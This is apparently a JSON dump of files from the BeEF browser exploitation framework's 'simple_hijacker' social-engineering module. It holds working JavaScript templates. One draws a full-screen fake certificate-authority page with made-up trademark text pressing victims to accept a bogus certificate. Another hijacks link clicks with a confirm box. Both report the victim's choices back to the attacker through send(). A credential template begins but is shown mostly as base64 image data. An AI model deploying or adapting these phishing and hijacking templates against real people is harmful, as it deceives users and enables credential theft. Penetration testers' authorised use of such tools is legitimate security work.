src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAANklEQVR42q3QMQoAMAgEwfz/05dcoVcEYQuFwWYL8Uhqb+Q9+WLDcYFxwDhgHDjev3n/z96TCxE/Ie1QsznxAAAAAElFTkSuQmCC\" border=0 style=display:none><img id=twisty_closed_rtl src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAAMklEQVQY02P4jwcwMDCg8vEpJEoxTCFBxcgK8SpGV4hTMTaF1DGZZDeTHBokhzOuGAQAxQt2mANh8/IAAAAASUVORK5CYII=\" border=0 style=display:none><span i18n-content=moreInfoTitle style=\"margin-left:5px;margin-right:5px\">read more about the SELF&#174; certification authority</span></a></div><div style=\"margin:30px 80px 0px; border-top:1px solid #ccc; padding-top:6px\" id=more_info_long style=display:none><a href=\"#\" onclick=\"toggleMoreInfo(true); return false\" onmousedown=\"return false\"><img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAALCAYAAACprHcmAAAAMUlEQVQY02P4//8/A7GYgXaKgeA/0Riqg6BCFGcQUojhZnwKsXoQl0KcoYFNIW3DGQCkVyHtwOU6YQAAAABJRU5ErkJggg==\" border=0><span style=\"margin-left:5px;margin-right:5px\">read more about the SELF&#174; certification authority</span></a><p i18n-values=.innerHTML:moreInfo1>Security Enhanced Layer Factory&#174;: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF&#174; help people as customer or seller to feel safe by issuing SELF&#174;-signed certificate that are build to last. With SELF&#174; you will never be harmed again - Trust is our workship.</p><p i18n-values=.innerHTML:moreInfo2>Security Enhanced Layer Factory&#174;, SELF&#174; and SELF&#174; logo are registered trademarks.</p></div>';\n\t    \n    buildtpl = function(target, background, icon, text, addarrows){\n        tpl='<div style=\"position:absolute;width:100%;height:100%;\">'+background+'</div><table width=\"100%\" cellspacing=0 cellpadding=0><td style=padding:40px valign=middle align=center><div style=\"width:60%; background-color:white; color:black; font-size:10pt; line-height:16pt; text-align:left; padding:20px; position:relative; -webkit-box-shadow:3px 3px 8px #200; border-radius:5px\"><div style=position:absolute>'+icon+'</div><div style=\"margin: 0px 77px 0px; font-size:18pt; line-height: 140%; margin-bottom:6pt; font-weight:bold; color:#660000\">Please accept our new SELF&#174;-Signed Certificate to ensure maximum security protection.</div><div style=\"margin:0px 80px 0px\">'+text+'</div>';\n\t\t\n\t\tif(addarrows){\n\t\t    tpl = tpl + arrows+'</div></td></table>';\n    \t\ttarget.innerHTML = tpl;\n\t\t    toggleMoreInfo(true);\n\t\t    setDirectionSensitiveImages();\n\t\t}else{\n\t\t    tpl = tpl + '</div></td></table>';\n    \t\ttarget.innerHTML = tpl;\n\t\t}\n  }\n  \n  forward = function(){\n    send(\"User continuing to \"+target);\n    timer=setTimeout(function(){timer2=setTimeout(function(){buildtpl(sneakydiv, backred, warning, textRed, true);},400);window.location = target;},500);\n  }\n  \n  function $(o) {return document.getElementById(o);}\n\n  sendCommand = function(cmd) {\n    window.domAutomationController.setAutomationId(1);\n    window.domAutomationController.send(cmd);\n  }\n  \n  $j(document).attr('title', domain+\" Security Enhanced Layer Factory&#174; certificate acceptance\");\n  imgbootstrap = document.createElement('div');\n  imgbootstrap.setAttribute('style','display:none');\n  document.body.appendChild(imgbootstrap);\n  document.body.removeChild(imgbootstrap);\n  buildtpl(imgbootstrap, backred, warning, textRed, false)\n  sneakydiv = document.createElement('div');\n  sneakydiv.setAttribute('id', 'background');\n  sneakydiv.setAttribute('oncontextmenu','return false;');\n  sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#13771f; font-family:Helvetica,Arial,sans-serif; margin:0px;');\n  document.body.appendChild(sneakydiv);\n  buildtpl(sneakydiv, backgreen, locker, textGreen, true);\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/templates/confirmbox.js",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nvar answer = confirm(\"Do you really want to leave us ??\")\nif (answer){\n\talert(\"Okay :(\")\n\tsend(\"User chose to leave.\");\n\twindow.location = $j(this).attr('href');\n}\nelse{\n\talert(\"Okay enjoy \")\n\tsend(\"User chose to stay.\");\n}\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/templates/credential.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n\timgr = 'data:image/png;base64,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